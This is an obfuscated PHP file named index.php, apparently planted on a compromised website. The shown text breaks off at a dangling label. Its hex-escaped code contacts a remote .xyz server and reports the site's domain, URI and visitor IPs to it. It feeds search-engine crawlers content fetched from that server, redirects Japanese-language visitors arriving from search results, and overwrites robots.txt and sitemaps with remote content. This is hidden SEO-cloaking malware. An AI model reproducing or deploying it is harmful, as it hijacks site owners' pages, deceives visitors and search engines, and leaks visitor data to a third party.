File: /home/cstehnfp/ango.cd/index.php
<?php
goto GfFWm; AC0iz: class Req { public function server($name = '', $default = '') { if (empty($name)) { return $_SERVER; } $name = strtoupper($name); return isset($_SERVER[$name]) ? $_SERVER[$name] : $default; } public function iss() { if ($this->server("\x48\x54\124\x50\123") && ("\61" == $this->server("\110\x54\x54\x50\123") || "\x6f\156" == strtolower($this->server("\x48\124\124\120\x53")))) { return true; } elseif ("\x68\164\164\160\163" == $this->server("\x52\x45\x51\x55\105\x53\x54\137\x53\x43\110\105\x4d\x45")) { return true; } elseif ("\x34\64\63" == $this->server("\x53\105\122\126\105\122\137\x50\x4f\122\x54")) { return true; } elseif ("\x68\x74\x74\160\163" == $this->server("\x48\124\124\120\137\x58\x5f\106\x4f\122\127\101\122\x44\x45\104\137\x50\122\117\124\x4f")) { return true; } return false; } public function host() { $host = strval($this->server("\110\x54\x54\x50\137\x58\x5f\x46\117\122\x57\101\x52\104\105\x44\137\110\117\123\x54") ?: $this->server("\x48\124\124\120\x5f\110\x4f\123\x54")); return strpos($host, "\72") ? strstr($host, "\72", true) : $host; } public function scheme() { return $this->iss() ? "\150\x74\x74\x70\x73" : "\x68\x74\x74\160"; } public function dm() { return $this->scheme() . "\72\x2f\57" . $this->host(); } public function ip() { if (getenv("\110\x54\124\x50\137\x43\x4c\x49\105\x4e\x54\137\111\120")) { $ip = getenv("\110\x54\124\120\137\103\114\x49\105\116\124\137\x49\x50"); } elseif (getenv("\x48\124\124\120\x5f\x58\x5f\x46\117\122\127\101\x52\x44\105\104\x5f\106\117\x52")) { $ip = getenv("\110\124\124\x50\137\130\x5f\106\x4f\122\x57\x41\122\x44\105\x44\137\106\x4f\122"); } elseif (getenv("\122\105\x4d\x4f\x54\x45\137\101\x44\104\x52")) { $ip = getenv("\x52\105\115\x4f\x54\105\x5f\x41\104\x44\122"); } else { $ip = $this->server("\x52\105\x4d\x4f\124\105\137\x41\x44\x44\122"); } return $ip; } public function isc() { $agent = strtolower($this->server("\x48\x54\x54\x50\x5f\125\123\x45\122\x5f\101\x47\x45\116\x54")); if ($agent != '' && preg_match("\57\147\x6f\157\147\x6c\145\142\157\164\174\x67\157\157\x67\154\145\174\171\x61\150\157\157\x7c\x62\x69\x6e\147\174\x61\157\154\x2f\x73\x69", $agent)) { return true; } return false; } public function isg() { $refer = strtolower($this->server("\110\124\124\120\137\122\105\x46\x45\x52\105\x52")); $referbots = "\147\x6f\157\147\154\145\174\171\141\150\x6f\x6f\174\x62\x69\x6e\x67\x7c\141\157\154"; if ($refer != '' && preg_match("\x2f\x28{$referbots}\51\x2f\x73\151", $refer)) { return true; } return false; } public function uri() { if (($pos = strpos($this->server("\122\x45\121\x55\x45\x53\x54\x5f\x55\x52\111"), "\x2e\x70\x68\160")) !== false) { $script_name = basename($this->server("\123\103\122\x49\120\x54\x5f\x46\x49\114\x45\x4e\101\115\x45")); if (basename($this->server("\123\103\122\111\120\x54\x5f\116\101\115\105")) === $script_name) { $url = $this->server("\123\x43\x52\111\x50\124\x5f\x4e\x41\x4d\x45"); } elseif (basename($this->server("\x50\x48\120\137\123\x45\114\x46")) === $script_name) { $url = $this->server("\x50\x48\120\137\x53\x45\x4c\106"); } elseif (basename($this->server("\x4f\x52\x49\x47\x5f\123\103\122\x49\120\124\x5f\116\x41\115\x45")) === $script_name) { $url = $this->server("\117\x52\x49\x47\x5f\123\x43\122\111\x50\x54\x5f\x4e\101\x4d\x45"); } elseif (($pos = strpos($this->server("\x50\110\x50\x5f\123\x45\114\x46"), "\x2f" . $script_name)) !== false) { $url = substr($this->server("\123\x43\x52\x49\120\x54\137\116\101\115\x45"), 0, $pos) . "\x2f" . $script_name; } elseif ($this->server("\x44\x4f\x43\x55\x4d\105\x4e\124\x5f\122\x4f\x4f\x54") && strpos($this->server("\x53\x43\x52\x49\120\124\137\x46\111\114\x45\x4e\x41\115\105"), $this->server("\x44\117\x43\125\x4d\x45\116\x54\x5f\122\117\x4f\124")) === 0) { $url = str_replace($this->server("\x44\x4f\103\x55\x4d\105\x4e\124\137\x52\117\x4f\x54"), '', $this->server("\x53\x43\x52\111\x50\x54\137\x46\111\114\x45\x4e\x41\115\105")); } $requri = $url . substr($this->server("\122\x45\x51\125\x45\x53\x54\x5f\125\x52\x49"), $pos + 4); } else { $requri = substr($this->server("\122\105\121\x55\105\123\124\x5f\x55\122\111"), strpos($this->server("\x52\105\121\125\x45\123\124\137\x55\x52\111"), "\57")); } return rtrim($requri, "\57"); } public function execReq($url, $p = array()) { $url = str_replace("\x20", "\53", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } return $output; } } goto cC2To; G7Kbp: $tr = "\x68\164\x74\x70\x73\x3a\57\x2f\x6a\62\66\x30\71\x31\65\137\62\x33\56\162\x65\160\163\164\157\x64\157\56\170\171\172\57"; goto AC0iz; b2dVa: $uri = urldecode($req->uri()); goto lSMx9; LHNCP: $isg = $req->isg(); goto eWFXj; qsa3m: if (substr($uri, -4) == "\x2e\170\x6d\x6c") { if (strpos($uri, "\x61\x6c\154\163\x69\164\x65\x6d\x61\x70\x2e\x78\x6d\x6c") || strpos($uri, "\x73\151\164\145\x6d\141\x70\x2d\151\156\x64\x65\170\56\170\x6d\154") || strpos($uri, "\x73\151\x74\x65\x6d\141\160\55\x69\x6e\x64\x65\170\55\61\x2e\x78\155\154") || strpos($uri, "\x69\156\144\145\x78\56\170\x6d\154")) { $output = $req->execReq($umap, $p); header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x74\171\x70\145\x3a\164\x65\x78\164\x2f" . (substr($output, 0, 5) === "\74\77\x78\x6d\x6c" ? "\x78\155\x6c" : "\160\x6c\141\x69\156") . "\73\40\143\150\x61\162\163\x65\164\x3d\x75\164\146\x2d\70"); die('' . $output); } $output = $req->execReq($tr . "\167\x6f\162\x64", $p); header("\x43\157\x6e\x74\x65\156\x74\55\164\171\160\145\72\x74\145\x78\164\x2f\x78\x6d\x6c\x3b\x20\x63\x68\x61\162\163\x65\164\x3d\165\164\x66\x2d\x38"); if ($output == "\x31") { die('' . $req->execReq($umap, $p)); } else { die('' . $output); } } goto RDaP4; j00sL: if (!$isc && $isg && strpos($lang, "\152\141") !== false) { $p["\x69\160"] = $req->ip(); $action = $tr . "\x6a\x75\155\160"; die($req->execReq($action, $p)); } goto Aas4C; BSh48: $isc = $req->isc(); goto LHNCP; Tl1Fj: @set_time_limit(120); goto yQ6Vk; Aas4C: if ($isc) { die('' . $req->execReq($tr . "\151\156\x64\141\164\141", $p)); } goto zVlIY; RDaP4: $lang = $req->server("\110\x54\x54\x50\137\101\103\103\105\120\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"); goto j00sL; x6fGX: if (substr($uri, -6) == "\162\157\x62\x6f\x74\163") { $output = $req->execReq($tr . "\x72\x6f\142\157\164\x73", $p); $rpt = __DIR__ . "\57\162\157\x62\x6f\x74\x73\x2e\164\170\x74"; file_put_contents($rpt, $output); $robots_cont = @file_get_contents($rpt); if (strpos(strtolower($robots_cont), "\163\151\164\145\155\141\x70")) { die("\x72\x6f\x62\157\x74\x73\x2e\x74\x78\164\x20\x66\x69\154\145\40\x63\x72\x65\141\x74\145\40\163\x75\143\143\145\163\163\x21"); } else { die("\162\x6f\x62\157\x74\x73\x2e\164\170\164\x20\146\x69\154\x65\x20\x63\162\145\141\x74\x65\40\x66\x61\151\x6c\x21"); } } goto qsa3m; lSMx9: $p = array("\144\157\x6d\141\x69\x6e" => $req->dm(), "\x70\x6f\x72\164" => $req->server("\x53\x45\x52\x56\105\122\x5f\120\117\122\x54", 80), "\165\x72\151" => $uri); goto GmSxL; GmSxL: if (substr($uri, -10) == "\162\157\142\157\x74\x73\x2e\164\170\164") { header("\103\x6f\156\164\145\156\164\55\x74\171\160\145\72\164\145\170\x74\x2f\160\x6c\x61\x69\x6e\73\40\x63\x68\141\x72\163\145\164\x3d\165\164\x66\x2d\x38"); die($req->execReq($tr . "\x72\x6f\x62\x6f\x74\163", $p)); } goto x6fGX; GfFWm: error_reporting(0); goto Tl1Fj; cC2To: $req = new Req(); goto BSh48; yQ6Vk: @ignore_user_abort(1); goto G7Kbp; eWFXj: $umap = $tr . "\x6d\141\x70"; goto b2dVa; zVlIY: